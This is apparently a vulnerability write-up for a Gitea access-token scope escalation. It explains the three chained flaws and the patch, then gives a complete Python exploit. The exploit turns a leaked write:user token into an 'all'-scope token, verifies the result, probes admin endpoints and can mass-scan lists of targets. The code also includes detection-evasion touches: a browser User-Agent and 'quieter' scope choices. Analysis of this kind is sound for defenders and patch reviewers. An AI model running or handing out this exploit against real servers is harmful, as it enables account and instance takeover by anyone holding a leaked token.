#Summary

CVE-2026-56654 is a critical privilege escalation in Gitea's REST API that allows an attacker with a minimally scoped personal access token (write:user) to escalate it to a full-scope token (all). No password, session cookie, or OTP is required. The vulnerability stems from three chained weaknesses: a route guard that confuses HTTP Basic transport with password authentication, a design that accepts access tokens in Basic credentials, and a missing scope ceiling in the token-creation handler. The impact ranges from account-level takeover to full instance compromise if the victim account is a site administrator. CVSS 9.8 CRITICAL.

#Affected versions

Default configuration is affected. No special settings required.

#Root cause analysis

#Three weaknesses that chain

The vulnerability is not a single defect but three separate weaknesses that cooperate:

#1. The route guard asks the wrong question

The endpoint POST /api/v1/users/{username}/tokens is guarded by reqBasicOrRevProxyAuth(), a middleware intended to enforce "you must prove you know the password before minting a token". The guard tests:

func reqBasicOrRevProxyAuth() func(ctx *context.APIContext) {
	return func(ctx *context.APIContext) {
		if ctx.IsSigned && setting.Service.EnableReverseProxyAuthAPI && ctx.Data["AuthedMethod"].(string) == auth.ReverseProxyMethodName {
			return
		}
		if !ctx.IsBasicAuth {
			ctx.APIError(http.StatusUnauthorized, "auth required")
			return
		}
	}
}

The critical flaw: ctx.IsBasicAuth answers "did this request arrive over HTTP Basic?" not "did the request present a password". These are different questions.

#2. A token in Basic is indistinguishable from a password

In services/auth/basic.go, the parseAuthBasic function deliberately accepts access tokens supplied over Basic:

uname, passwd := parsed.BasicAuth.Username, parsed.BasicAuth.Password

// Check if username or password is a token
isUsernameToken := len(passwd) == 0 || passwd == "x-oauth-basic"
// Assume username is token
authToken := uname
if !isUsernameToken {
	log.Trace("Basic Authorization: Attempting login for: %s", uname)
	// Assume password is token
	authToken = passwd
}

The function then calls VerifyAuthToken(authToken), which succeeds and stores:

store.GetData()["LoginMethod"] = AccessTokenMethodName
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

However, the flag AuthedMethod is derived from (*Basic).Name(), which unconditionally returns the string "basic" whether it authenticated a password or a token. The result: a token supplied as Basic sets both IsApiToken=true AND IsBasicAuth=true simultaneously. The route guard passes it through.

#3. No scope ceiling in the handler

Once past the guard, CreateAccessToken in routers/api/v1/user/app.go normalizes the requested scope and persists it without consulting the scope of the token that made the request:

scope, err := auth_model.AccessTokenScope(strings.Join(form.Scopes, ",")).Normalize()
if err != nil {
	ctx.APIError(http.StatusBadRequest, fmt.Errorf("invalid access token scope provided: %w", err))
	return
}
if scope == "" {
	ctx.APIError(http.StatusBadRequest, "access token must have a scope")
	return
}
t.Scope = scope

if err := auth_model.NewAccessToken(ctx, t); err != nil {
	ctx.APIErrorInternal(err)
	return
}

The data store holds ctx.Data["ApiTokenScope"] (the caller's own scope) but the code never reads it. A token is allowed to mint a credential more powerful than itself.

#How the exploit works

  1. An attacker obtains one leaked access token carrying the write:user scope (realistic: from a CI variable, .git-credentials file, or log).
  2. The attacker sends POST /api/v1/users/{username}/tokens with the token encoded in HTTP Basic as Basic base64("<token>:x-oauth-basic") and body {"name":"unique-name","scopes":["all"]}.
  3. The token passes reqBasicOrRevProxyAuth() because IsBasicAuth=true.
  4. The handler mints a new token with scope all because there is no scope ceiling.
  5. The new token carries all nine write:* scopes, including write:admin if the account is a site administrator, and reaches /api/v1/admin/* endpoints for instance-level compromise.

#Patch diff

Two new helper functions were added to models/auth/access_token_scope.go:

// CanCreateChildScope reports whether a request authenticated by this (parent) scope may mint a token
// carrying the child scope. It rejects any grantable scope the parent does not hold, closing the
// scope-escalation path.
func (s AccessTokenScope) CanCreateChildScope(child AccessTokenScope) (bool, error) {
	requested := child.StringSlice()
	scopes := make([]AccessTokenScope, 0, len(requested))
	for _, sc := range requested {
		childScope := AccessTokenScope(sc)
		if childScope == AccessTokenScopePublicOnly {
			continue
		}
		scopes = append(scopes, childScope)
	}
	return s.HasScope(scopes...)
}

// EnforcePublicOnlyFrom adds the public-only restriction to s when the authorizing parent scope is
// public-only, so a public-only token cannot mint a child token that drops the restriction.
func (s AccessTokenScope) EnforcePublicOnlyFrom(parent AccessTokenScope) (AccessTokenScope, error) {
	publicOnly, err := parent.PublicOnly()
	if err != nil {
		return "", err
	}
	if !publicOnly {
		return s, nil
	}
	return AccessTokenScope(string(s) + "," + string(AccessTokenScopePublicOnly)).Normalize()
}

and a scope ceiling check was added to routers/api/v1/user/app.go, immediately before persisting the token:

// a token-authenticated request must not mint a token with a broader scope than its own
if ctx.Data["IsApiToken"] == true {
	apiTokenScope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
	if !ok {
		ctx.APIError(http.StatusForbidden, "the authenticating token has no scope")
		return
	}
	hasScope, err := apiTokenScope.CanCreateChildScope(scope)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if !hasScope {
		ctx.APIError(http.StatusForbidden, "cannot create an access token with a broader scope than the authenticating token")
		return
	}
	// a public-only token must not mint a token that drops the public-only restriction
	if t.Scope, err = t.Scope.EnforcePublicOnlyFrom(apiTokenScope); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
}

An identical block was added to routers/web/user/setting/applications.go to protect the web form endpoint.

#What the patch deliberately does not fix

The patch enforces a scope ceiling but does not touch the first two weaknesses. At v1.27.0:

A token still passes the "password required" guard on a patched instance. It simply cannot escalate once inside the handler. This is important: describing this CVE as "an auth bypass that was fixed" would be incorrect.

#Proof of concept

#exploit.py - Gitea Access Token Scope Escalation PoC

#!/usr/bin/env python3
"""
CVE-2026-56654 - Gitea access token scope escalation (privilege escalation / account takeover)
Affected: Gitea <= 1.26.4 (fixed in 1.27.0)
Type: Privilege Escalation (improper access control, CWE-284)

A minimally scoped personal access token is enough to mint a new token with any scope.
POST /api/v1/users/{username}/tokens is guarded by reqBasicOrRevProxyAuth(), which only
asks whether the request arrived over HTTP Basic - not whether a password was presented.
Gitea accepts an access token in the Basic credential pair, so the token itself satisfies
the "password required" guard, and the handler never compares the requested scope against
the scope of the token that authenticated the call.

Input: one leaked access token carrying write:user. No password, no session cookie, no OTP.
Output: a new token scoped "all" for the same account. If that account is a site
administrator, "all" includes write:admin and the token reaches /api/v1/admin/*.

Usage:
  python exploit.py --host <target> --port 3000 --token <leaked_token>
  python exploit.py --host 192.168.1.10 --port 3000 --token 214d1738f84b755ab2e6be380ccbede4e
  python exploit.py --host https://git.corp.com --token <leaked_token>
  python exploit.py --host https://git.corp.com/gitea --token <leaked_token> --scopes read:repository
  python exploit.py --list targets.txt --workers 20 --token <leaked_token>

Arguments:
  --host      Target hostname, IP, or full URL. A URL path is treated as the Gitea
              sub-path prefix (e.g. https://host/gitea -> /gitea/api/v1/...).
  --port      Port when --host is not a URL (default: 3000).
  --token     The leaked access token. Required. Must carry at least write:user.
  --username  Account the token belongs to. Optional: discovered from GET /api/v1/user
              when omitted, which is the reliable way to get the exact spelling.
  --scopes    Scopes to request for the minted token (default: all). Comma separated.
  --list      File with one target per line for batch scanning. A line may carry its own
              token as "target|token"; otherwise --token is used for every target.
  --workers   Threads for --list mode (default: 10).
  --tls/--no-tls   Force or forbid TLS, overriding what --host implies.
  --insecure  Do not verify TLS certificates (default: verify).
"""

import argparse
import base64
import http.client
import json
import secrets
import ssl
import sys
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-56654"
VULN_TYPE = "Privilege Escalation"

TIMEOUT      = 20
# A plain browser string: a tool-specific User-Agent is the easiest thing to alert on.
USER_AGENT   = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
# The nine write scopes Normalize() expands "all" into. Used to recognise an escalated
# token when the server echoes the expansion instead of the literal "all".
ALL_WRITE_SCOPES = frozenset([
    "write:activitypub", "write:admin", "write:issue", "write:misc",
    "write:notification", "write:organization", "write:package",
    "write:repository", "write:user",
])


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- HTTP plumbing

def _connect(host: str, port: int, use_tls: bool, insecure: bool):
    if use_tls:
        ctx = ssl.create_default_context()
        if insecure:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        return http.client.HTTPSConnection(host, port, timeout=TIMEOUT, context=ctx)
    return http.client.HTTPConnection(host, port, timeout=TIMEOUT)


def _api(host, port, use_tls, base_path, method, endpoint, auth=None, body=None, insecure=False):
    """One API call. Returns (status, raw_text, parsed_json_or_None).

    auth is the literal Authorization header value, sent exactly as given - the whole
    exploit depends on the server seeing "Basic <b64>" rather than a rewritten form,
    so no auth helper or credential manager is allowed anywhere near this.
    """
    prefix = base_path.rstrip("/") if base_path and base_path != "/" else ""
    url = f"{prefix}/api/v1{endpoint}"
    headers = {"User-Agent": USER_AGENT, "Accept": "application/json"}
    if auth:
        headers["Authorization"] = auth
    payload = None
    if body is not None:
        payload = json.dumps(body).encode()
        headers["Content-Type"] = "application/json"
        headers["Content-Length"] = str(len(payload))

    conn = _connect(host, port, use_tls, insecure)
    try:
        conn.request(method, url, body=payload, headers=headers)
        resp = conn.getresponse()
        raw = resp.read().decode("utf-8", "replace")
        status = resp.status
    finally:
        conn.close()
    try:
        parsed = json.loads(raw)
    except ValueError:
        parsed = None
    return status, raw, parsed


def _basic(username: str, password: str) -> str:
    return "Basic " + base64.b64encode(f"{username}:{password}".encode()).decode()


def _msg(parsed, raw: str) -> str:
    """Server-side error text, trimmed for one-line output."""
    if isinstance(parsed, dict) and parsed.get("message"):
        return str(parsed["message"]).strip()
    return raw.strip().replace("\n", " ")[:200]


def _is_escalated(scopes) -> bool:
    """True when the minted token carries more than the write:user entry ticket."""
    if not scopes:
        return False
    got = set(scopes)
    if "all" in got:
        return True
    return len(got & ALL_WRITE_SCOPES) > 1


def _token_name() -> str:
    """Neutral, per-run unique name. A reused name is rejected above the vulnerable
    code with 400 'access token name has been used already', which reads exactly like
    a patched target, so the nonce is load-bearing rather than cosmetic."""
    return "svc-" + secrets.token_hex(4)


# ---------------------------------------------------------------- core exploit

def _escalate(host, port, use_tls, base_path, token, username, scopes, insecure):
    """Send the escalation request. Returns (status, message, minted_token_object).

    Two Basic encodings are attempted, both accepted by parseAuthBasic: the token in
    the username field with the x-oauth-basic sentinel password, and the token in the
    password field beside the real username. The second is what an ordinary Git client
    sends and survives proxies that rewrite the first.
    """
    attempts = [
        ("token:x-oauth-basic", _basic(token, "x-oauth-basic")),
        ("username:token",      _basic(username, token)),
    ]
    last = (None, "no attempt made", None)
    for label, auth in attempts:
        body = {"name": _token_name(), "scopes": scopes}
        status, raw, parsed = _api(host, port, use_tls, base_path, "POST",
                                   f"/users/{username}/tokens", auth=auth,
                                   body=body, insecure=insecure)
        if status == 201 and isinstance(parsed, dict):
            parsed["_encoding"] = label
            return status, "created", parsed
        last = (status, f"[{label}] {_msg(parsed, raw)}", None)
        # 401 means this encoding never reached the handler; the other one may.
        # Anything else is a real answer from the handler, so stop and report it.
        if status != 401:
            break
    return last


def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "/", token: str = "",
                 username: str = "", scopes=None, insecure: bool = False):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    scopes = scopes or ["all"]
    try:
        if not token:
            return False, "no token supplied for this target"

        status, raw, parsed = _api(host, port, use_tls, base_path, "GET", "/user",
                                   auth=f"token {token}", insecure=insecure)
        if status != 200 or not isinstance(parsed, dict):
            return False, f"token not accepted (HTTP {status})"
        login = username or parsed.get("login", "")
        if not login:
            return False, "could not determine account name"

        status, message, minted = _escalate(host, port, use_tls, base_path, token,
                                            login, scopes, insecure)
        if status != 201 or not minted:
            return False, f"HTTP {status}: {message}"
        if not _is_escalated(minted.get("scopes")):
            return False, f"minted token was clamped to {minted.get('scopes')}"

        new = minted.get("sha1", "")
        vstatus, _, _ = _api(host, port, use_tls, base_path, "GET", "/user/repos",
                             auth=f"token {new}", insecure=insecure)
        if vstatus != 200:
            return True, (f"escalated '{login}' to scopes {minted.get('scopes')} "
                          f"(token ...{minted.get('token_last_eight', '')})")
        return True, (f"escalated '{login}' to scopes {minted.get('scopes')}, "
                      f"new token reads /user/repos (HTTP 200)")
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, token: str = "",
         username: str = "", scopes=None, insecure: bool = False) -> None:
    """Batch scan from file. A line may be 'target|token' to carry its own credential."""
    import concurrent.futures

    targets = []
    with open(targets_file) as f:
        for line in f:
            raw = line.strip()
            if not raw or raw.startswith("#"):
                continue
            target_part, _, line_token = raw.partition("|")
            parsed = _parse_target(target_part, default_port)
            if parsed is None:
                continue
            targets.append((parsed, line_token.strip() or token))

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(item):
        (host, port, use_tls, path), tok = item
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
        ok, evidence = _try_exploit(host, port, use_tls, base_path=path, token=tok,
                                    username=username, scopes=scopes, insecure=insecure)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool, base_path: str, token: str,
            username: str, scopes, insecure: bool) -> None:
    header(host, port)

    # --- 1. identify the account the leaked token belongs to -------------------
    step(1, "Identifying the account behind the leaked token (GET /api/v1/user)")
    status, raw, parsed = _api(host, port, use_tls, base_path, "GET", "/user",
                               auth=f"token {token}", insecure=insecure)
    if status != 200 or not isinstance(parsed, dict):
        section("SERVER RESPONSE", f"HTTP {status}\n{raw}")
        done(False, f"Leaked token rejected (HTTP {status}) - not a valid token for this host")
    login = username or parsed.get("login", "")
    is_admin = bool(parsed.get("is_admin"))
    section("TOKEN OWNER", json.dumps(
        {"login": login, "email": parsed.get("email"), "is_admin": is_admin}, indent=2))
    if not login:
        done(False, "Could not determine the account name; pass it with --username")
    print(f"        account '{login}' (site admin: {is_admin})\n")

    # --- 2. baseline: what the leaked token can and cannot do ------------------
    step(2, "Baseline with the leaked token in its ordinary header form")
    base_status, base_raw, base_parsed = _api(host, port, use_tls, base_path, "GET",
                                              "/user/repos", auth=f"token {token}",
                                              insecure=insecure)
    section("BASELINE  GET /api/v1/user/repos  (Authorization: token ...)",
            f"HTTP {base_status}\n{base_raw[:400]}")
    if base_status == 200:
        print("        note: the leaked token already holds read:repository, so the "
              "403 -> 200 flip\n        below will not be available as evidence; the "
              "minted scope set is used instead.\n")

    guard_status, guard_raw, guard_parsed = _api(
        host, port, use_tls, base_path, "POST", f"/users/{login}/tokens",
        auth=f"token {token}", body={"name": _token_name(), "scopes": scopes},
        insecure=insecure)
    section("GUARD CHECK  POST /api/v1/users/%s/tokens  (Authorization: token ...)" % login,
            f"HTTP {guard_status}\n{guard_raw[:400]}")
    if guard_status == 401:
        print("        the guard is real: token-in-header is refused with 'auth required'.\n"
              "        the next step changes only the encoding of the same credential.\n")
    elif guard_status == 201:
        print("        note: this deployment let the plain token header through the guard "
              "outright.\n")

    # --- 3. the escalation ------------------------------------------------------
    step(3, "Re-sending the same credential as HTTP Basic and requesting scopes %s" % scopes)
    status, message, minted = _escalate(host, port, use_tls, base_path, token,
                                        login, scopes, insecure)
    if status != 201 or not minted:
        section("ESCALATION RESPONSE", f"HTTP {status}\n{message}")
        if status == 403 and "broader scope" in message:
            done(False, "Target is patched (1.27.0+) - the scope ceiling rejected the request")
        if status == 403 and "contextUser" in message:
            done(False, f"Account name mismatch - '{login}' is not the token owner; set --username")
        if status == 401:
            done(False, "Both Basic encodings refused with 'auth required' - the credential "
                        "did not arrive as HTTP Basic")
        done(False, f"Escalation refused (HTTP {status}): {message}")

    minted_scopes = minted.get("scopes") or []
    new_token = minted.get("sha1", "")
    encoding = minted.pop("_encoding", "token:x-oauth-basic")
    section("MINTED TOKEN", json.dumps(minted, indent=2))
    print(f"        Basic encoding accepted: {encoding}\n")
    if not _is_escalated(minted_scopes):
        done(False, f"Token created but clamped to {minted_scopes} - no escalation occurred")

    # --- 4. prove the new token is strictly more powerful ----------------------
    step(4, "Replaying the baseline request with the minted token")
    ver_status, ver_raw, ver_parsed = _api(host, port, use_tls, base_path, "GET",
                                           "/user/repos", auth=f"token {new_token}",
                                           insecure=insecure)
    repos = []
    if isinstance(ver_parsed, list):
        repos = [f"{r.get('full_name')} (private={r.get('private')})" for r in ver_parsed]
    section("PRIVILEGE CHECK  GET /api/v1/user/repos  (Authorization: token <minted>)",
            f"HTTP {ver_status}\n" + ("\n".join(repos) if repos else ver_raw[:400]))

    # --- 5. corroboration: both tokens side by side, and the admin ceiling ------
    step(5, "Listing the account's tokens and probing the administrative API")
    lst_status, lst_raw, lst_parsed = _api(
        host, port, use_tls, base_path, "GET", f"/users/{login}/tokens",
        auth=_basic(token, "x-oauth-basic"), insecure=insecure)
    if lst_status == 200 and isinstance(lst_parsed, list):
        rows = [f"id={t.get('id')} name={t.get('name')} scopes={t.get('scopes')}"
                for t in lst_parsed]
        section("TOKENS ON THE ACCOUNT", "\n".join(rows))

    admin_note = "account is not a site admin - write:admin grants nothing here"
    if is_admin:
        adm_status, adm_raw, _ = _api(host, port, use_tls, base_path, "GET",
                                      "/admin/users", auth=f"token {new_token}",
                                      insecure=insecure)
        section("ADMIN API  GET /api/v1/admin/users  (Authorization: token <minted>)",
                f"HTTP {adm_status}\n{adm_raw[:400]}")
        admin_note = (f"admin API returned HTTP {adm_status} with the minted token"
                      if adm_status == 200 else
                      f"admin API returned HTTP {adm_status}")

    flip = ""
    if base_status == 403 and ver_status == 200:
        flip = " - one unchanged request went 403 with the leaked token and 200 with the minted one"
    done(True, (f"Scope escalation confirmed on '{login}': a {('write:user-class') if base_status == 403 else 'restricted'} "
                f"token minted a token with scopes {minted_scopes}"
                f" (...{minted.get('token_last_eight', '')}){flip}; {admin_note}"))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://git.corp.com/gitea)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line ('target' or 'target|token')")
    parser.add_argument("--port",     type=int, default=3000, help="Default port (default: 3000)")
    parser.add_argument("--token",    default="",   help="Leaked access token carrying write:user (required)")
    parser.add_argument("--username", default="",   help="Account the token belongs to (default: read from /api/v1/user)")
    parser.add_argument("--scopes",   default="all", help="Scopes to request for the minted token (default: all)")
    parser.add_argument("--workers",  type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    scope_list = [s.strip() for s in args.scopes.split(",") if s.strip()]
    if not scope_list:
        parser.error("--scopes must name at least one scope")

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
             username=args.username, scopes=scope_list, insecure=args.insecure)
    else:
        if not args.token:
            parser.error("--token is required: this exploit takes one leaked access token as its input")
        parsed_target = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed_target if parsed_target else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.token, args.username, scope_list, args.insecure)

#Usage

python3 exploit.py --host 127.0.0.1 --port 3000 --token 214d1738f84b755ab2e6be380ccbede4eea313a7

Key flags:

Flag Purpose
--host Target hostname, IP, or full URL. A URL path (e.g., https://git.corp.com/gitea) is treated as the Gitea sub-path prefix.
--port Port when --host is not a URL (default: 3000).
--token The leaked access token carrying at least write:user (required).
--username Account name (optional; discovered from /api/v1/user when omitted).
--scopes Scopes for the minted token (default: all). Comma separated.
--list File with targets for batch mode. Format: target or target|token per line.
--workers Thread count for batch mode (default: 10).
--insecure Skip TLS certificate verification.

#Real-world examples

# Self-hosted Gitea on default port
python3 exploit.py --host 192.168.40.17 --port 3000 --token 7c1f9a4be2d05836aa41e0c9b7d2f6183ea90cb4

# Behind TLS at a sub-path with self-signed certificate
python3 exploit.py --host https://git.corp.example/gitea --token 7c1f9a4b... --insecure

# Request narrower scope for quieter footprint
python3 exploit.py --host 192.168.40.17 --token 7c1f9a4b... --scopes write:repository,read:admin

# Batch scan with per-target credentials
python3 exploit.py --list targets.txt --workers 20

#Expected output - vulnerable target

[STEP 1] Identifying the account behind the leaked token (GET /api/v1/user)

--- TOKEN OWNER ---
{
  "login": "devuser",
  "email": "[email protected]",
  "is_admin": false
}

[STEP 2] Baseline with the leaked token in its ordinary header form

--- BASELINE  GET /api/v1/user/repos  (Authorization: token ...) ---
HTTP 403
{"message":"token does not have at least one of required scope(s), required=[read:repository], token scope=write:user"}

--- GUARD CHECK  POST /api/v1/users/devuser/tokens  (Authorization: token ...) ---
HTTP 401
{"message":"auth required"}

[STEP 3] Re-sending the same credential as HTTP Basic and requesting scopes ['all']

--- MINTED TOKEN ---
{
  "id": 9,
  "name": "svc-b655a31b",
  "sha1": "20e60786d17822d422f7cfb6c651ce88d50bb29f",
  "token_last_eight": "d50bb29f",
  "scopes": [ "all" ]
}
        Basic encoding accepted: token:x-oauth-basic

[STEP 4] Replaying the baseline request with the minted token

--- PRIVILEGE CHECK  GET /api/v1/user/repos  (Authorization: token <minted>) ---
HTTP 200
devuser/internal-notes (private=True)

[STEP 5] Listing the account's tokens and probing the administrative API

--- TOKENS ON THE ACCOUNT ---
id=9 name=svc-b655a31b scopes=['all']
id=1 name=ci-runner-3d0df162 scopes=['write:user']

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Scope escalation confirmed on 'devuser': a write:user-class token minted a token
            with scopes ['all'] (...d50bb29f) - one unchanged request went 403 with the leaked
            token and 200 with the minted one; account is not a site admin - write:admin grants nothing here
============================================================

#Expected output - patched target (1.27.0+)

[STEP 1] Identifying the account behind the leaked token (GET /api/v1/user)
[STEP 2] Baseline with the leaked token in its ordinary header form
[STEP 3] Re-sending the same credential as HTTP Basic and requesting scopes ['all']

--- ESCALATION RESPONSE ---
HTTP 403
cannot create an access token with a broader scope than the authenticating token

============================================================
  RESULT  : FAILURE
  EVIDENCE: Target is patched (1.27.0+) - the scope ceiling rejected the request
============================================================

#Exploitation notes

#Preconditions

#Attack vector

The entire attack is a single HTTP request wrapped in Basic authentication. No timing attacks, no race conditions, no complex encoding. The request must reach the endpoint as HTTP Basic (not as Authorization: token <sha>), so a proxy that strips or rewrites the Authorization header will break the exploit. If the first Basic encoding is rejected with 401, the script retries with the alternate form.

#Reliability

Very high. The exploit establishes a negative baseline (the 401) before the positive one (the 201), proving the guard exists and that only the encoding changed. The decisive test is on the returned scope set, not just the status code. A 201 whose scopes were clamped would indicate a ceiling exists, but that doesn't happen on v1.26.4.

#Impact ceiling

On a regular user account: the escalated token can access any API the account can access. On a site administrator account: the escalated token carries write:admin and reaches /api/v1/admin/* for full instance compromise (user enumeration, creation, password reset, site settings modification).

#Detection

#References